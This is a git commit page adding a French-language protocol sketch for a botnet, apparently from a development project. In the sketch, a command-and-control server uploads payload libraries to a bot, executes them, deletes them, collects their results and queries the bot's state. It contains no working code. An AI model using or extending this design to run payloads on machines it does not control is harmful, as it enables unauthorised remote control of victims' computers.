Commit 58a4e11cdddd42594c5a6cd7944f8de7ea8145a4

Authored by Guillaume
1 parent 52f0bc00

Ajout du protocole relatif aux lib.so

Showing 1 changed file with 54 additions and 0 deletions   Show diff stats
protocoleSO 0 → 100644
... ... @@ -0,0 +1,54 @@
  1 +Proposition protocole pour installer la charge utile sur le bot:
  2 +$C&C: "upload?\n"
  3 +$bot: "OKupload\n"
  4 +$C&C: "%d\n", charge.name.size
  5 +$bot: "OKname_size\n"
  6 +$C&C: "%s\n", charge.name
  7 +$bot: "OKname\n"
  8 +$C&C: "%d\n", charge.data.size
  9 +$bot: "OKdata_size\n"
  10 +$C&C: "%s\n", charge.data //on envoi octect par octet
  11 +$bot: "bye"\n" //qd a recu tt les packets
  12 +$C&C: "bye"\n"
  13 +
  14 +Execution charge:
  15 +$C&C: "execute?\n"
  16 +$bot: "OKexecute\n"
  17 +$C&C: "%d\n", charge.name.size
  18 +$bot: "OKname_size\n"
  19 +$C&C: "%s\n", charge.name
  20 +$bot: "OKname\n" //si la charge n'est pas presente sur le bot alors se dernier envoi un autre message "NOKname\n" et ca stop l'echange
  21 +$bot: "%d\n", id //indice de l'execution dans la structure de donne choisie (liste chaine, table de hashage...a definir) pour stocker les resultats d'execution sur le bot
  22 +$C&C: "OKid\n"
  23 +$bot: "bye"\n"
  24 +$C&C: "bye"\n"
  25 +
  26 +Suppression charge:
  27 +$C&C: "delet?\n"
  28 +$bot: "OKdelet\n"
  29 +$C&C: "%d\n", charge.name.size
  30 +$bot: "OKname_size\n"
  31 +$C&C: "%s\n", charge.name
  32 +$bot: "OKname\n" //si la charge n'est pas presente sur le bot alors se dernier envoi "NOKname\n" et ca stop l'echange
  33 +$C&C: "bye"\n"
  34 +$bot: "bye"\n"
  35 +
  36 +Resultat execution charge:
  37 +$C&C: "result?\n"
  38 +$bot: "OKresult\n"
  39 +$C&C: "%d\n", id
  40 +$bot: "OKid" //si id existe pas, renvoie "NOKid\n" et stop l'echange
  41 +$bot: "%d\n", executions[id].result.size
  42 +$C&C: "OKresult_size\n"
  43 +$bot: "%s\n", executions[id].result //on envoi octect par octet
  44 +$C&C: "bye"\n" //qd a recu tt les packets
  45 +$bot: "bye"\n"
  46 +
  47 +Demande Etat du bot:
  48 +$C&C: "state?\n"
  49 +$bot: "%d\n", nbCharge
  50 +$C&C: "OKnbCharge\n"
  51 +$bot: "%d\n", nbExecs
  52 +$C&C: "OKnbExecs\n"
  53 +$bot: "bye"\n"
  54 +$C&C: "bye"\n"
... ...